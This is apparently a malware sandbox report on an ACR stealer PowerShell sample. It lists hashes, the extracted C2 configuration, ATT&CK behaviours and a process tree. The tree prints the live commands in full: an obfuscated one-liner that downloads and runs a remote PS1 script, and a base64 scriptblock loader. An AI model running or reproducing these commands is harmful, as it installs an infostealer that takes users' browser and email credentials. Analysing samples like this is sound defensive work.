acrstealer | 2705b9c1f469194d8dab092697b3380dd8645a3b2ffdc64b301c29aa48f161d8

Analysis

max time kernel
120s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 12:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
859a49159d7b.ps1
Size 229KB
Sample260930-pjct4axbnb
SHA256 2705b9c1f469194d8dab092697b3380dd8645a3b2ffdc64b301c29aa48f161d8
MD5 d53be800ab6bc9685565fb1ea7409f83
SHA1 e3c7933c685bd278a96fa726a9d1c76593f15af7
SHA512 5a1fd46707be7598111f29a0196412caf8ceecfa570565b2de7e4e3fdd64c5cd8d9b093e546ffb75a8a5f7d0dbc6c295d4e39ff1160b486296635c0477e2f281
SSDEEP 3072:/VG/aPfB5K6f2hd17/0nbjYxEGyNA6yMWtaDSRuTsFOyWyGwQVxohIsYPJb+UWwv:/VCsB5K6f2hj7/AbG6OtaDA406PBjWU
TLSH
T11734822539C0BA65118DDCB72D410C1D9AC8F476E38B6C5D79CF59C4AF47AB88AEC838
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.4.5-alpha1

cdn.copperfern.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
019fd851-d0e2-7805-ae09-2dd1daa78960

f1575b64-8492-4e8b-b102-4d26e8c70371

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 6084 created 2852	6084	rundll32.exe	81
PID 6084 created 2852	6084	rundll32.exe	81

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	1592	powershell.exe
10	6084	rundll32.exe
11	6084	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4216	PowerShell.exe
1592	powershell.exe
4892	powershell.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	PowerShell.exe
\??\F:\	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2828	msedge.exe
3164	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4216	PowerShell.exe
4216	PowerShell.exe
4216	PowerShell.exe
1592	powershell.exe
1592	powershell.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe
6084	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
6084	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
3856	msedge.exe
3856	msedge.exe
3856	msedge.exe
3856	msedge.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4216	PowerShell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeShutdownPrivilege	2000	chrome.exe
Token: SeCreatePagefilePrivilege	2000	chrome.exe
Token: SeShutdownPrivilege	2000	chrome.exe
Token: SeCreatePagefilePrivilege	2000	chrome.exe
Token: SeShutdownPrivilege	2000	chrome.exe
Token: SeCreatePagefilePrivilege	2000	chrome.exe
Token: SeShutdownPrivilege	2000	chrome.exe
Token: SeCreatePagefilePrivilege	2000	chrome.exe
Token: SeShutdownPrivilege	2000	chrome.exe
Token: SeCreatePagefilePrivilege	2000	chrome.exe
Token: SeShutdownPrivilege	2000	chrome.exe
Token: SeCreatePagefilePrivilege	2000	chrome.exe
Token: SeShutdownPrivilege	2000	chrome.exe
Token: SeCreatePagefilePrivilege	2000	chrome.exe
Token: SeShutdownPrivilege	2000	chrome.exe
Token: SeCreatePagefilePrivilege	2000	chrome.exe
Token: SeShutdownPrivilege	2000	chrome.exe
Token: SeCreatePagefilePrivilege	2000	chrome.exe
Token: SeShutdownPrivilege	2000	chrome.exe
Token: SeCreatePagefilePrivilege	2000	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
2000	chrome.exe
3856	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4216 wrote to memory of 1592	4216	PowerShell.exe	90
PID 1592 wrote to memory of 6084	1592	powershell.exe	93
PID 1592 wrote to memory of 6084	1592	powershell.exe	93
PID 6084 wrote to memory of 2000	6084	rundll32.exe	94
PID 2000 wrote to memory of 3504	2000	chrome.exe	95
PID 2000 wrote to memory of 3164	2000	chrome.exe	96
PID 2000 wrote to memory of 5604	2000	chrome.exe	97
PID 2000 wrote to memory of 5604	2000	chrome.exe	97
PID 2000 wrote to memory of 4072	2000	chrome.exe	98
PID 2000 wrote to memory of 4072	2000	chrome.exe	98
PID 2000 wrote to memory of 5800	2000	chrome.exe	100
PID 2000 wrote to memory of 2520	2000	chrome.exe	101
PID 2000 wrote to memory of 5800	2000	chrome.exe	100
PID 2000 wrote to memory of 2520	2000	chrome.exe	101
PID 2000 wrote to memory of 5840	2000	chrome.exe	102
PID 2000 wrote to memory of 5840	2000	chrome.exe	102
PID 2000 wrote to memory of 5140	2000	chrome.exe	103
PID 2000 wrote to memory of 5140	2000	chrome.exe	103
PID 2000 wrote to memory of 4896	2000	chrome.exe	104
PID 2000 wrote to memory of 6108	2000	chrome.exe	106
PID 2000 wrote to memory of 6108	2000	chrome.exe	106
PID 2000 wrote to memory of 5916	2000	chrome.exe	105
PID 2000 wrote to memory of 5916	2000	chrome.exe	105
PID 2000 wrote to memory of 1516	2000	chrome.exe	107
PID 2000 wrote to memory of 1516	2000	chrome.exe	107
PID 2000 wrote to memory of 1132	2000	chrome.exe	111
PID 2000 wrote to memory of 1832	2000	chrome.exe	112
PID 2000 wrote to memory of 1132	2000	chrome.exe	111
PID 2000 wrote to memory of 5584	2000	chrome.exe	113
PID 2000 wrote to memory of 1832	2000	chrome.exe	112
PID 2000 wrote to memory of 5584	2000	chrome.exe	113
PID 2000 wrote to memory of 2124	2000	chrome.exe	114
PID 2000 wrote to memory of 1144	2000	chrome.exe	115
PID 2000 wrote to memory of 2124	2000	chrome.exe	114
PID 2000 wrote to memory of 1144	2000	chrome.exe	115
PID 2000 wrote to memory of 1300	2000	chrome.exe	116
PID 2000 wrote to memory of 5952	2000	chrome.exe	117
PID 2000 wrote to memory of 1300	2000	chrome.exe	116
PID 2000 wrote to memory of 5952	2000	chrome.exe	117
PID 2000 wrote to memory of 2660	2000	chrome.exe	118
PID 2000 wrote to memory of 2660	2000	chrome.exe	118
PID 2000 wrote to memory of 3836	2000	chrome.exe	119
PID 2000 wrote to memory of 3836	2000	chrome.exe	119
PID 2000 wrote to memory of 6028	2000	chrome.exe	120
PID 2000 wrote to memory of 6028	2000	chrome.exe	120
PID 6084 wrote to memory of 3856	6084	rundll32.exe	121
PID 3856 wrote to memory of 6012	3856	msedge.exe	122
PID 3856 wrote to memory of 5656	3856	msedge.exe	123
PID 3856 wrote to memory of 2828	3856	msedge.exe	124
PID 3856 wrote to memory of 5656	3856	msedge.exe	123
PID 3856 wrote to memory of 5656	3856	msedge.exe	123
PID 3856 wrote to memory of 4432	3856	msedge.exe	125
PID 3856 wrote to memory of 4432	3856	msedge.exe	125
PID 3856 wrote to memory of 2628	3856	msedge.exe	127
PID 3856 wrote to memory of 2756	3856	msedge.exe	128
PID 3856 wrote to memory of 2628	3856	msedge.exe	127
PID 3856 wrote to memory of 2628	3856	msedge.exe	127
PID 3856 wrote to memory of 2756	3856	msedge.exe	128
PID 3856 wrote to memory of 2756	3856	msedge.exe	128
PID 3856 wrote to memory of 4360	3856	msedge.exe	129
PID 3856 wrote to memory of 4360	3856	msedge.exe	129
PID 3856 wrote to memory of 4360	3856	msedge.exe	129
PID 3856 wrote to memory of 3676	3856	msedge.exe	130
PID 3856 wrote to memory of 3676	3856	msedge.exe	130

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:2852
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\859a49159d7b.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4216
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) 'https://brambly.world/cinstall.ps1' | & (gcm i*x)"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1592
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:6084
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff8d9d6c728,0x7ff8d9d6c734,0x7ff8d9d6c740
    3⤵
    PID:3504
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1888,i,4766782490063189448,8590322537153158164,524288 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,10340756929798848194,15033404256229232543,262144 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=2008 /prefetch:2
    3⤵
    PID:5604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=1960,i,5446610886749324631,3738829741188787715,524288 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:13
    3⤵
    PID:4072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3232,i,17356230273881775661,12611179437544239486,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:1
    3⤵
    PID:5800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3236,i,154235263731737989,4830974743660805597,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:1
    3⤵
    PID:2520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4532,i,2846462125254384477,14545866908518280565,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=4496 /prefetch:1
    3⤵
    PID:5840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4652,i,6929351044910991518,10990851710366817576,524288 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
    3⤵
    PID:5140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4752,i,6057262764245346605,268501512364757097,524288 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:14
    3⤵
    PID:4896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4744,i,11175593711903980606,9251294441488715459,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:1
    3⤵
    PID:5916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4712,i,6260738289215963193,10632254192289734387,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:1
    3⤵
    PID:6108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=4780,i,12280462064184892792,4963723794251858236,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=4712 /prefetch:1
    3⤵
    PID:1516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5760,i,13364579539233439856,12032725963760329878,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:1
    3⤵
    PID:1132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5844,i,10670922153782710023,14336408080697628573,524288 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:14
    3⤵
    PID:1832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5636,i,12545515417012365043,11366319527454687569,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:1
    3⤵
    PID:5584
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6016,i,9173494584521176190,947170063110101489,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=4744 /prefetch:1
    3⤵
    PID:2124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5448,i,12928550971643473962,18235299481867516454,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
    3⤵
    PID:1144
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5668,i,8416365419784198983,7687989539285578826,524288 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:14
    3⤵
    PID:1300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6036,i,9954506395025298525,3835986344592578688,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:1
    3⤵
    PID:5952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4480,i,12054941464852866454,16586859517779998827,524288 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:14
    3⤵
    PID:2660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5472,i,18325944852461299348,2328590136411879657,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:1
    3⤵
    PID:3836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4740,i,14531865197044045164,17662700714825887084,2097152 --field-trial-handle=2012,i,9201521883961296052,5963024399376976496,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:9
    3⤵
    PID:6028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2f0,0x350,0x7ff8ca58c188,0x7ff8ca58c194,0x7ff8ca58c1a0
    3⤵
    PID:6012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
